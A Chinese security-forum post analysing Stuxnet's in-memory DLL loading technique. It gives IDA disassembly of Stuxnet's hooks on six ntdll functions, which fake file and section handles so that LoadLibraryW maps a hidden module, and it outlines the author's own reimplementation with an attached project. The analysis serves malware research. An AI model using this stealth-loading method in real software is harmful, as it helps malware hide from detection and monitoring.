Quantcast
Channel: 看雪安全论坛
Viewing all articles
Browse latest Browse all 9556

【原创】A了Stuxnet的加载DLL代码--从内存中加载某个DLL

$
0
0
Stuxnet出来很久很久了,之前看过分析文档,觉得它的加载DLL的方式比较有意思,一直没有时间来整,近段时间比较空闲,于是就有了这篇文章

首先,Stuxnet加载DLL的方式,不是传统的PE LOADER,而是将一片内容重新映射,这样做的效果就是,映射过后,这个DLL没有出现在模块列表中,但是可以GetProcAddress获得DLL的导出函数,Stuxnet调用15号导出函数就是这么干的。

Stuxnet的做法如下:
HOOK了6个ntdll的函数,分别为:

代码:

ZwCreateSection
ZwClose
ZwMapViewOfSection
ZwOpenFile
ZwQueryAttributesFile
ZwQuerySection

这6个函数在LoadLibray执行中调用。
在分析6个HOOK函数时,首先要知道的是:
ZwCreateSection后MapViewOfFile,不ZwClose,直接UnMapViewOfFile,那么第二次Map的时候,返回的就是上次映射的内存,我觉得这就是Stuxnet这种调用方式的核心。

在调试Stuxnet过程中,依次对这几个函数下断点,可以发现LoadLibraryW有这样的执行顺序:
1.查找文件(ZwQueryAttributesFile)
2.打开文件(ZwOpenFile)
3.创建Section(ZwCreateSection)
4.填充某些信息(ZwQuerySection)
5.关闭文件(ZwClose)
6.映射内存(ZwMapViewOfSection)
7.关闭section(ZwClose)

HOOK上面这些函数,Stuxnet还准备了:一个假的文件句柄,一个没有Close的Section句柄,以及QuerySection需要的数据

Stuxnet HOOK写得不错,直接把一段Shellcode考到NTDLL中,统一了HOOK的入口,在入口中再判断,跳转到对应的HOOK流程,如下:

代码:

.text:10001B87 loc_10001B87:                ; DATA XREF: sub_100017F5+108o
.text:10001B87                                        ; .text:off_10001AB2o
.text:10001B87                pop    edx
.text:10001B88                test    dl, dl
.text:10001B8A                jz      short loc_10001BB1 ; ZwMapViewOfSection
.text:10001B8C                dec    dl
.text:10001B8E                jz      loc_10001C16    ; ZwCreateSection
.text:10001B94                dec    dl
.text:10001B96                jz      loc_10001C57    ; ZwOpenFile
.text:10001B9C                dec    dl
.text:10001B9E                jz      loc_10001CA2    ; ZwClose
.text:10001BA4                dec    dl
.text:10001BA6                jz      loc_10001CEC    ; ZwQueryAttributesFile
.text:10001BAC                jmp    loc_10001D3D    ; ZwQuerySection

首先是 ZwQueryAttributesFile
代码:

.text:10001CF5                push    eax
.text:10001CF6                push    edx
.text:10001CF7                push    edi
.text:10001CF8                mov    edi, [esp+14h]
.text:10001CFC                call    CompareName
.text:10001D01                pop    edi
.text:10001D02                pop    edx
.text:10001D03                test    eax, eax
.text:10001D05                jz      short loc_10001D1A
.text:10001D07                pop    eax
.text:10001D08                test    edx, edx
.text:10001D0A                jz      short loc_10001D17
.text:10001D0C                mov    edx, [esp+0Ch]
.text:10001D10                mov    dword ptr [edx+20h], 80h
.text:10001D17
.text:10001D17 loc_10001D17:                          ; CODE XREF: .text:10001D0Aj
.text:10001D17                xor    eax, eax
.text:10001D19                retn
.text:10001D1A ; ---------------------------------------------------------------------------
.text:10001D1A
.text:10001D1A loc_10001D1A:                          ; CODE XREF: .text:10001D05j
.text:10001D1A                pop    eax
.text:10001D1B
.text:10001D1B loc_10001D1B:                          ; CODE XREF: .text:10001CF3j
.text:10001D1B                push    edx
.text:10001D1C                call    sub_10001DF1
.text:10001D21                cmp    dword ptr [edx+4], 0
.text:10001D25                jnz    short loc_10001D30
.text:10001D27                pop    edx
.text:10001D28                lea    edx, [esp+8]
.text:10001D2C                int    2Eh            ; DOS 2+ internal - EXECUTE COMMAND
.text:10001D2C                                        ; DS:SI -> counted CR-terminated command string
.text:10001D2E                jmp    short locret_10001D3C
.text:10001D30 ; ---------------------------------------------------------------------------
.text:10001D30
.text:10001D30 loc_10001D30:                          ; CODE XREF: .text:10001D25j
.text:10001D30                pop    edx
.text:10001D31                lea    edx, [esp+8]
.text:10001D35                call    large dword ptr fs:0C0h
.text:10001D3C
.text:10001D3C locret_10001D3C:                        ; CODE XREF: .text:10001D2Ej
.text:10001D3C                retn

执行流程很明了,判断文件名,如果是的话,直接FileInformation->FileAttributes=0x80;
否则,调用int 2e,执行原来的流程

ZwOpenFile
代码:

.text:10001C60                push    eax
.text:10001C61                push    edi
.text:10001C62                mov    edi, [esp+18h]
.text:10001C66                call    CompareName
.text:10001C6B                mov    edx, eax
.text:10001C6D                pop    edi
.text:10001C6E                pop    eax
.text:10001C6F                test    edx, edx
.text:10001C71                jz      short loc_10001C80
.text:10001C73                mov    eax, [esp+8]
.text:10001C77                mov    dword ptr [eax], 0AE1982AEh
.text:10001C7D                xor    eax, eax
.text:10001C7F                retn
.text:10001C80 ; ---------------------------------------------------------------------------
.text:10001C80
.text:10001C80 loc_10001C80:                          ; CODE XREF: .text:10001C5Ej
.text:10001C80                                        ; .text:10001C71j
.text:10001C80                push    edx
.text:10001C81                call    sub_10001DF1
.text:10001C86                cmp    dword ptr [edx+4], 0
.text:10001C8A                jnz    short loc_10001C95
.text:10001C8C                pop    edx
.text:10001C8D                lea    edx, [esp+8]
.text:10001C91                int    2Eh            ; DOS 2+ internal - EXECUTE COMMAND
.text:10001C91                                        ; DS:SI -> counted CR-terminated command string
.text:10001C93                jmp    short locret_10001CA1
.text:10001C95 ; ---------------------------------------------------------------------------
.text:10001C95
.text:10001C95 loc_10001C95:                          ; CODE XREF: .text:10001C8Aj
.text:10001C95                pop    edx
.text:10001C96                lea    edx, [esp+8]
.text:10001C9A                call    large dword ptr fs:0C0h
.text:10001CA1
.text:10001CA1 locret_10001CA1:                        ; CODE XREF: .text:10001C93j
.text:10001CA1                retn
.text:10001CA2 ; ---------------------------------------------------------------------------
.text:10001CA2
.text:10001CA2 loc_10001CA2:                          ; CODE XREF: .text:10001B9Ej
.text:10001CA2                cmp    dword ptr [esp+8], 0AE1982AEh
.text:10001CAA                jnz    short loc_10001CAF
.text:10001CAC                xor    eax, eax
.text:10001CAE                retn

同理,判断是否是要打开的文件,如果是,则返回假文件句柄

ZwCreateSection
代码:

.text:10001C16                cmp    dword ptr [esp+20h], 0AE1982AEh.text:10001C1E                jnz    short loc_10001C35
.text:10001C20                call    GetFakeData
.text:10001C25                test    edx, edx
.text:10001C27                jz      short loc_10001C35
.text:10001C29                mov    edx, [edx+8]
.text:10001C2C                mov    eax, [esp+8]
.text:10001C30                mov    [eax], edx
.text:10001C32                xor    eax, eax
.text:10001C34                retn
.text:10001C35 ; ---------------------------------------------------------------------------
.text:10001C35
.text:10001C35 loc_10001C35:                          ; CODE XREF: .text:10001C1Ej
.text:10001C35                                        ; .text:10001C27j
.text:10001C35                push    edx
.text:10001C36                call    sub_10001DF1
.text:10001C3B                cmp    dword ptr [edx+4], 0
.text:10001C3F                jnz    short loc_10001C4A
.text:10001C41                pop    edx
.text:10001C42                lea    edx, [esp+8]
.text:10001C46                int    2Eh            ; DOS 2+ internal - EXECUTE COMMAND
.text:10001C46                                        ; DS:SI -> counted CR-terminated command string
.text:10001C48                jmp    short locret_10001C56
.text:10001C4A ; ---------------------------------------------------------------------------
.text:10001C4A
.text:10001C4A loc_10001C4A:                          ; CODE XREF: .text:10001C3Fj
.text:10001C4A                pop    edx
.text:10001C4B                lea    edx, [esp+8]
.text:10001C4F                call    large dword ptr fs:0C0h
.text:10001C56
.text:10001C56 locret_10001C56:                        ; CODE XREF: .text:10001C48j
.text:10001C56                retn

首先,判断文件句柄是不是假文件句柄,如果是的话,返回之前没有Close的Section句柄

ZwQuerySection
代码:

:10001D3D                call    GetFakeData
.text:10001D42                test    edx, edx
.text:10001D44                push    edx
.text:10001D45                jz      short loc_10001D8C
.text:10001D47                mov    edx, [edx+8]
.text:10001D4A                cmp    edx, [esp+0Ch]
.text:10001D4E                jnz    short loc_10001D8C
.text:10001D50                cmp    dword ptr [esp+10h], 1
.text:10001D55                jnz    short loc_10001D8C
.text:10001D57                cmp    dword ptr [esp+18h], 30h
.text:10001D5C                jl      short loc_10001D85

.text:10001D5E                pop    edx
.text:10001D5F                push    ecx
.text:10001D60                push    esi
.text:10001D61                push    edi
.text:10001D62                lea    esi, [edx+50h]
.text:10001D65                mov    edi, [esp+1Ch]
.text:10001D69                mov    ecx, 30h
.text:10001D6E                rep movsb

.text:10001D70                pop    edi
.text:10001D71                pop    esi
.text:10001D72                pop    ecx
.text:10001D73                mov    eax, [esp+18h]
.text:10001D77                cmp    eax, 0
.text:10001D7A                jz      short loc_10001D82
.text:10001D7C                mov    dword ptr [eax], 30h
.text:10001D82
.text:10001D82 loc_10001D82:                          ; CODE XREF: .text:10001D7Aj
.text:10001D82                xor    eax, eax
.text:10001D84                retn
.text:10001D85 ; ---------------------------------------------------------------------------
.text:10001D85
.text:10001D85 loc_10001D85:                          ; CODE XREF: .text:10001D5Cj
.text:10001D85                pop    edx
.text:10001D86                mov    eax, 0C000000Dh
.text:10001D8B                retn
.text:10001D8C loc_10001D8C:                          ; CODE XREF: .text:10001D45j
.text:10001D8C                                        ; .text:10001D4Ej ...
.text:10001D8C                pop    edx
.text:10001D8D                push    edx
.text:10001D8E                call    sub_10001DF1
.text:10001D93                cmp    dword ptr [edx+4], 0
.text:10001D97                jnz    short loc_10001DA2
.text:10001D99                pop    edx
.text:10001D9A                lea    edx, [esp+8]
.text:10001D9E                int    2Eh            ; DOS 2+ internal - EXECUTE COMMAND
.text:10001D9E                                        ; DS:SI -> counted CR-terminated command string
.text:10001DA0                jmp    short locret_10001DAE
.text:10001DA2 ; ---------------------------------------------------------------------------
.text:10001DA2
.text:10001DA2 loc_10001DA2:                          ; CODE XREF: .text:10001D97j
.text:10001DA2                pop    edx
.text:10001DA3                lea    edx, [esp+8]
.text:10001DA7                call    large dword ptr fs:0C0h
.text:10001DAE
.text:10001DAE locret_10001DAE:                        ; CODE XREF: .text:10001DA0j
.text:10001DAE                retn

判断Size是不是0x30,不是的话,返回0C000000Dh,如果section句柄是指定的句柄,是的话,将内存中的PE头相关信息复制到对应的参数

ZwMapViewOfSection
代码:

.text:10001BB1                call    GetFakeData
.text:10001BB6                test    edx, edx
.text:10001BB8                jz      short loc_10001BCD
.text:10001BBA                push    edx
.text:10001BBB                mov    edx, [edx+8]
.text:10001BBE                cmp    edx, [esp+0Ch]
.text:10001BC2                jnz    short loc_10001BCC
.text:10001BC4                mov    dword ptr [esp+30h], 40h
.text:10001BCC
.text:10001BCC loc_10001BCC:                          ; CODE XREF: .text:10001BC2j
.text:10001BCC                pop    edx
.text:10001BCD
.text:10001BCD loc_10001BCD:                          ; CODE XREF: .text:10001BB8j
.text:10001BCD                push    edx
.text:10001BCE                call    sub_10001DF1
.text:10001BD3                cmp    dword ptr [edx+4], 0
.text:10001BD7                jnz    short loc_10001BE2
.text:10001BD9                pop    edx
.text:10001BDA                lea    edx, [esp+8]
.text:10001BDE                int    2Eh            ; DOS 2+ internal - EXECUTE COMMAND
.text:10001BDE                                        ; DS:SI -> counted CR-terminated command string
.text:10001BE0                jmp    short loc_10001BEE
.text:10001BE2 ; ---------------------------------------------------------------------------
.text:10001BE2
.text:10001BE2 loc_10001BE2:                          ; CODE XREF: .text:10001BD7j
.text:10001BE2                pop    edx
.text:10001BE3                lea    edx, [esp+8]
.text:10001BE7                call    large dword ptr fs:0C0h
.text:10001BEE
.text:10001BEE loc_10001BEE:                          ; CODE XREF: .text:10001BE0j
.text:10001BEE                test    eax, eax
.text:10001BF0                jnz    short locret_10001C15
.text:10001BF2                call    GetFakeData
.text:10001BF7                test    edx, edx
.text:10001BF9                jz      short loc_10001C13
.text:10001BFB                mov    edx, [edx+8]
.text:10001BFE                cmp    edx, [esp+8]
.text:10001C02                jnz    short loc_10001C13
.text:10001C04                mov    edx, [esp+10h]
.text:10001C08                push    edx
.text:10001C09                call    GetFakeData
.text:10001C0E                mov    edx, [edx+0Ch]
.text:10001C11                call    edx;Fix Relocation
.text:10001C13
.text:10001C13 loc_10001C13:                          ; CODE XREF: .text:10001BF9j
.text:10001C13                                        ; .text:10001C02j
.text:10001C13                xor    eax, eax
.text:10001C15
.text:10001C15 locret_10001C15:                        ; CODE XREF: .text:10001BF0j
.text:10001C15                retn

如果是指定section句柄,则修改内存属性为PAGE_EXECUTE_WRITECOPY,接着调用原来函数,再一次判断section句柄,如果匹配,则修正重定位表(测试的时候,忽略了重定位,结果各种加载不上。。。)

最后就是ZwClose
代码:

.text:10001CA2                cmp    dword ptr [esp+8], 0AE1982AEh.text:10001CAA                jnz    short loc_10001CAF
.text:10001CAC                xor    eax, eax
.text:10001CAE                retn
.text:10001CAF ; ---------------------------------------------------------------------------
.text:10001CAF
.text:10001CAF loc_10001CAF:                          ; CODE XREF: .text:10001CAAj
.text:10001CAF                call    GetFakeData
.text:10001CB4                test    edx, edx
.text:10001CB6                jz      short loc_10001CCA
.text:10001CB8                push    eax
.text:10001CB9                mov    eax, [esp+0Ch]
.text:10001CBD                cmp    [edx+8], eax.text:10001CC0                jnz    short loc_10001CC9
.text:10001CC2                mov    dword ptr [edx+8], 0
.text:10001CC9
.text:10001CC9 loc_10001CC9:                          ; CODE XREF: .text:10001CC0j
.text:10001CC9                pop    eax
.text:10001CCA
.text:10001CCA loc_10001CCA:                          ; CODE XREF: .text:10001CB6j
.text:10001CCA                push    edx
.text:10001CCB                call    sub_10001DF1
.text:10001CD0                cmp    dword ptr [edx+4], 0
.text:10001CD4                jnz    short loc_10001CDF
.text:10001CD6                pop    edx
.text:10001CD7                lea    edx, [esp+8]
.text:10001CDB                int    2Eh            ; DOS 2+ internal - EXECUTE COMMAND
.text:10001CDB                                        ; DS:SI -> counted CR-terminated command string
.text:10001CDD                jmp    short locret_10001CEB
.text:10001CDF ; ---------------------------------------------------------------------------
.text:10001CDF
.text:10001CDF loc_10001CDF:                          ; CODE XREF: .text:10001CD4j
.text:10001CDF                pop    edx
.text:10001CE0                lea    edx, [esp+8]
.text:10001CE4                call    large dword ptr fs:0C0h
.text:10001CEB
.text:10001CEB locret_10001CEB:                        ; CODE XREF: .text:10001CDDj
.text:10001CEB                retn

判断是不是文件句柄,如果是的话,直接返回SUCCESS,判断是不是section句柄,如果是的话,将保存的句柄赋0值,然后调用原来的函数关闭

以上就是HOOK的分析过程,重写的思路可以简化为:
1.将某个DLL文件读到内存中,然后按照内存对齐,映射为某片内存,然后反映射。
2.HOOK 上面6个函数
3.调用LoadLibraryW,参数为一个硬盘中不存在的文件

在重写过程中,我仿造Stuxnet这种统一HOOK入口的方式,碰到一个蛋疼的问题,读取参数读取错误,导致堆栈混乱,为了解决这个问题,我给每个函数都加了一个参数,详细见代码。。:eek::eek:

附件就是一个实例工程和Stuxnet的IDB,代码很粗糙,已知不足如下:
1.UNICODESTRING的比较,我直接写死了
2.修复重定位表时,只考虑了IMAGE_REL_BASED_HIGHLOW
还有N多BUG,等着各路神人拍砖了

最后,这种调用方式,在最后一步调用LoadLibrayW的时候,不能加路径,只能文件名!加路径的话就OVER了!

我不知道之前是否有牛人分析过,此贴意在抛钻引玉,欢迎拍砖。

上传的附件
文件类型: rar MyLoadLibrary.rar (657.9 KB)

Viewing all articles
Browse latest Browse all 9556

Latest Images

Trending Articles

<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>